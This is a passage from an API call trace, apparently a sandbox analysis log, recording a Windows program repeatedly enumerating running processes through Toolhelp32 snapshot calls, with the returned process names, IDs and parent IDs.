szExeFile="heroes_spies.exe")) returned 1 [0251.287] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buddy_thorough_petition.exe")) returned 1 [0251.288] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="allied_tasks.exe")) returned 1 [0251.290] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="antoniostreetpowers.exe")) returned 1 [0251.322] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation.exe")) returned 1 [0251.323] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boatingstuffedbachelor.exe")) returned 1 [0251.324] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="davis.exe")) returned 1 [0251.325] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication-wage.exe")) returned 1 [0251.326] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pub.exe")) returned 1 [0251.326] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="recruitment printers aerospace.exe")) returned 1 [0251.327] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boys.exe")) returned 1 [0251.328] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="evaluations.exe")) returned 1 [0251.329] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative_warnings_households.exe")) returned 1 [0251.330] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="fo emotions urban.exe")) returned 1 [0251.331] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xffc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.332] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.333] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0251.334] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xeec, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0251.335] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.336] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0251.337] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0251.338] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xe64, pcPriClassBase=8, dwFlags=0x0, szExeFile="osk.exe")) returned 1 [0251.339] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mshta.exe")) returned 1 [0251.340] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mshta.exe")) returned 1 [0251.341] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mshta.exe")) returned 0 [0251.342] CloseHandle (hObject=0x35c) returned 1 [0251.342] Sleep (dwMilliseconds=0x1) [0251.389] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0251.394] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.395] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.396] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.397] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.398] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.399] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.400] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.401] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.402] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.402] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.403] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.404] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.405] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.406] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.407] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.408] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.408] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.409] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.410] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.411] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.412] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.413] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.414] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.414] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.415] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.495] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.496] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.497] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.497] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.498] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.499] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.500] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0251.501] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.502] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0251.503] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.503] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.504] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.505] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.506] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0251.507] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0251.508] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuite.exe")) returned 1 [0251.508] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="survivors sets.exe")) returned 1 [0251.510] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lottery-royalty.exe")) returned 1 [0251.510] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots.exe")) returned 1 [0251.511] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature tim campus.exe")) returned 1 [0251.512] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="heroes_spies.exe")) returned 1 [0251.513] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buddy_thorough_petition.exe")) returned 1 [0251.514] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="allied_tasks.exe")) returned 1 [0251.515] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="antoniostreetpowers.exe")) returned 1 [0251.515] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation.exe")) returned 1 [0251.516] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boatingstuffedbachelor.exe")) returned 1 [0251.517] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="davis.exe")) returned 1 [0251.518] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication-wage.exe")) returned 1 [0251.519] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pub.exe")) returned 1 [0251.520] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="recruitment printers aerospace.exe")) returned 1 [0251.520] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="boys.exe")) returned 1 [0251.521] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="evaluations.exe")) returned 1 [0251.522] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conservative_warnings_households.exe")) returned 1 [0251.523] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="fo emotions urban.exe")) returned 1 [0251.524] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: 